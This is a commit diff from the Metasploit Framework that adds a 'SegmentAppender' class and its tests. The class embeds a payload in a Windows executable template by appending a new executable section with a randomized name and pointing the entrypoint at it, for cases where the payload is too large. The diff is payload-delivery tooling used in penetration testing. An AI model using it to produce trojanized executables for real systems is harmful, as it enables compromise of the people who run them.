Land #5029 : Support large payloads for msfvenom EXE
commit
d3d920b810
|
@ -0,0 +1,51 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
module Msf
|
||||||
|
module Exe
|
||||||
|
|
||||||
|
require 'metasm'
|
||||||
|
require 'msf/core/exe/segment_injector'
|
||||||
|
|
||||||
|
class SegmentAppender < SegmentInjector
|
||||||
|
|
||||||
|
def payload_stub(prefix)
|
||||||
|
# TODO: Implement possibly helpful payload obfuscation
|
||||||
|
asm = "new_entrypoint:\n#{prefix}\n"
|
||||||
|
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
||||||
|
shellcode.encoded + @payload
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_pe
|
||||||
|
# Copy our Template into a new PE
|
||||||
|
pe_orig = Metasm::PE.decode_file(template)
|
||||||
|
pe = pe_orig.mini_copy
|
||||||
|
|
||||||
|
# Copy the headers and exports
|
||||||
|
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
|
||||||
|
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
|
||||||
|
pe.header.time = pe_orig.header.time
|
||||||
|
|
||||||
|
# Don't rebase if we can help it since Metasm doesn't do relocations well
|
||||||
|
pe.optheader.dll_characts.delete("DYNAMIC_BASE")
|
||||||
|
|
||||||
|
# TODO: Look at supporting DLLs in the future
|
||||||
|
prefix = ''
|
||||||
|
|
||||||
|
# Create a new section
|
||||||
|
s = Metasm::PE::Section.new
|
||||||
|
s.name = '.' + Rex::Text.rand_text_alpha_lower(4)
|
||||||
|
s.encoded = payload_stub prefix
|
||||||
|
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
|
||||||
|
|
||||||
|
pe.sections << s
|
||||||
|
pe.invalidate_header
|
||||||
|
|
||||||
|
# Change the entrypoint to our new section
|
||||||
|
pe.optheader.entrypoint = 'new_entrypoint'
|
||||||
|
pe.cpu = pe_orig.cpu
|
||||||
|
|
||||||
|
pe.encode_string
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -59,20 +59,11 @@ module Exe
|
||||||
EOS
|
EOS
|
||||||
end
|
end
|
||||||
|
|
||||||
def payload_as_asm
|
|
||||||
asm = ''
|
|
||||||
@payload.each_byte do |byte|
|
|
||||||
asm << "db " + sprintf("0x%02x", byte) + "\n"
|
|
||||||
end
|
|
||||||
return asm
|
|
||||||
end
|
|
||||||
|
|
||||||
def payload_stub(prefix)
|
def payload_stub(prefix)
|
||||||
asm = "hook_entrypoint:\n#{prefix}\n"
|
asm = "hook_entrypoint:\n#{prefix}\n"
|
||||||
asm << create_thread_stub
|
asm << create_thread_stub
|
||||||
asm << payload_as_asm
|
|
||||||
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
||||||
shellcode.encoded
|
shellcode.encoded + @payload
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_pe
|
def generate_pe
|
||||||
|
|
|
@ -18,6 +18,7 @@ require 'rex/zip'
|
||||||
require 'metasm'
|
require 'metasm'
|
||||||
require 'digest/sha1'
|
require 'digest/sha1'
|
||||||
require 'msf/core/exe/segment_injector'
|
require 'msf/core/exe/segment_injector'
|
||||||
|
require 'msf/core/exe/segment_appender'
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
|
@ -205,12 +206,15 @@ require 'msf/core/exe/segment_injector'
|
||||||
end
|
end
|
||||||
|
|
||||||
p_length = payload.length + 256
|
p_length = payload.length + 256
|
||||||
|
|
||||||
|
# If the .text section is too small, append a new section instead
|
||||||
if text.size < p_length
|
if text.size < p_length
|
||||||
fname = ::File.basename(opts[:template])
|
appender = Msf::Exe::SegmentAppender.new({
|
||||||
msg = "The .text section for '#{fname}' is too small. "
|
:payload => code,
|
||||||
msg << "Minimum is #{p_length.to_s} bytes, your .text section is " +
|
:template => opts[:template],
|
||||||
"#{text.size.to_s} bytes"
|
:arch => :x86
|
||||||
raise RuntimeError, msg
|
})
|
||||||
|
return appender.generate_pe
|
||||||
end
|
end
|
||||||
|
|
||||||
# Store some useful offsets
|
# Store some useful offsets
|
||||||
|
@ -506,7 +510,8 @@ require 'msf/core/exe/segment_injector'
|
||||||
def self.to_win64pe(framework, code, opts = {})
|
def self.to_win64pe(framework, code, opts = {})
|
||||||
# Allow the user to specify their own EXE template
|
# Allow the user to specify their own EXE template
|
||||||
set_template_default(opts, "template_x64_windows.exe")
|
set_template_default(opts, "template_x64_windows.exe")
|
||||||
#try to inject code into executable by adding a section without affecting executable behavior
|
|
||||||
|
# Try to inject code into executable by adding a section without affecting executable behavior
|
||||||
if opts[:inject]
|
if opts[:inject]
|
||||||
injector = Msf::Exe::SegmentInjector.new({
|
injector = Msf::Exe::SegmentInjector.new({
|
||||||
:payload => code,
|
:payload => code,
|
||||||
|
@ -515,8 +520,20 @@ require 'msf/core/exe/segment_injector'
|
||||||
})
|
})
|
||||||
return injector.generate_pe
|
return injector.generate_pe
|
||||||
end
|
end
|
||||||
|
|
||||||
opts[:exe_type] = :exe_sub
|
opts[:exe_type] = :exe_sub
|
||||||
exe_sub_method(code,opts)
|
return exe_sub_method(code,opts)
|
||||||
|
|
||||||
|
#
|
||||||
|
# TODO: 64-bit support is currently failing to stage
|
||||||
|
#
|
||||||
|
# Append a new section instead
|
||||||
|
# appender = Msf::Exe::SegmentAppender.new({
|
||||||
|
# :payload => code,
|
||||||
|
# :template => opts[:template],
|
||||||
|
# :arch => :x64
|
||||||
|
# })
|
||||||
|
# return appender.generate_pe
|
||||||
end
|
end
|
||||||
|
|
||||||
# Embeds shellcode within a Windows PE file implementing the Windows
|
# Embeds shellcode within a Windows PE file implementing the Windows
|
||||||
|
|
|
@ -0,0 +1,82 @@
|
||||||
|
require 'spec_helper'
|
||||||
|
require 'msf/core/exe/segment_appender'
|
||||||
|
|
||||||
|
describe Msf::Exe::SegmentAppender do
|
||||||
|
|
||||||
|
let(:opts) do
|
||||||
|
option_hash = {
|
||||||
|
:template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"),
|
||||||
|
:payload => "\xd9\xeb\x9b\xd9\x74\x24",
|
||||||
|
:arch => :x86
|
||||||
|
}
|
||||||
|
end
|
||||||
|
subject(:injector) { Msf::Exe::SegmentInjector.new(opts) }
|
||||||
|
|
||||||
|
it { should respond_to :payload }
|
||||||
|
it { should respond_to :template }
|
||||||
|
it { should respond_to :arch }
|
||||||
|
it { should respond_to :processor }
|
||||||
|
it { should respond_to :buffer_register }
|
||||||
|
|
||||||
|
it 'should return the correct processor for the arch' do
|
||||||
|
injector.processor.class.should == Metasm::Ia32
|
||||||
|
injector.arch = :x64
|
||||||
|
injector.processor.class.should == Metasm::X86_64
|
||||||
|
end
|
||||||
|
|
||||||
|
context '#create_thread_stub' do
|
||||||
|
it 'should use edx as a default buffer register' do
|
||||||
|
injector.buffer_register.should == 'edx'
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when given a non-default buffer register' do
|
||||||
|
let(:opts) do
|
||||||
|
option_hash = {
|
||||||
|
:template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"),
|
||||||
|
:payload => "\xd9\xeb\x9b\xd9\x74\x24",
|
||||||
|
:arch => :x86,
|
||||||
|
:buffer_register => 'eax'
|
||||||
|
}
|
||||||
|
end
|
||||||
|
it 'should use the correct buffer register' do
|
||||||
|
injector.buffer_register.should == 'eax'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#generate_pe' do
|
||||||
|
it 'should return a string' do
|
||||||
|
injector.generate_pe.kind_of?(String).should == true
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should produce a valid PE exe' do
|
||||||
|
expect {Metasm::PE.decode(injector.generate_pe) }.to_not raise_exception
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'the generated exe' do
|
||||||
|
let(:exe) { Metasm::PE.decode(injector.generate_pe) }
|
||||||
|
it 'should be the propper arch' do
|
||||||
|
exe.bitsize.should == 32
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should have 5 sections' do
|
||||||
|
exe.sections.count.should == 5
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should have all the right original section names' do
|
||||||
|
s_names = []
|
||||||
|
exe.sections.collect {|s| s_names << s.name}
|
||||||
|
s_names[0,4].should == [".text", ".rdata", ".data", ".rsrc"]
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should have the last section set to RWX' do
|
||||||
|
exe.sections.last.characteristics.should == ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"]
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should have an entrypoint that points to the last section' do
|
||||||
|
exe.optheader.entrypoint.should == exe.sections.last.virtaddr
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -24,12 +24,6 @@ describe Msf::Exe::SegmentInjector do
|
||||||
injector.processor.class.should == Metasm::X86_64
|
injector.processor.class.should == Metasm::X86_64
|
||||||
end
|
end
|
||||||
|
|
||||||
context '#payload_as_asm' do
|
|
||||||
it 'should return the payload as declare byte instructions' do
|
|
||||||
injector.payload_as_asm.should == "db 0xd9\ndb 0xeb\ndb 0x9b\ndb 0xd9\ndb 0x74\ndb 0x24\n"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context '#create_thread_stub' do
|
context '#create_thread_stub' do
|
||||||
it 'should use edx as a default buffer register' do
|
it 'should use edx as a default buffer register' do
|
||||||
injector.buffer_register.should == 'edx'
|
injector.buffer_register.should == 'edx'
|
||||||
|
|
Loading…
Reference in New Issue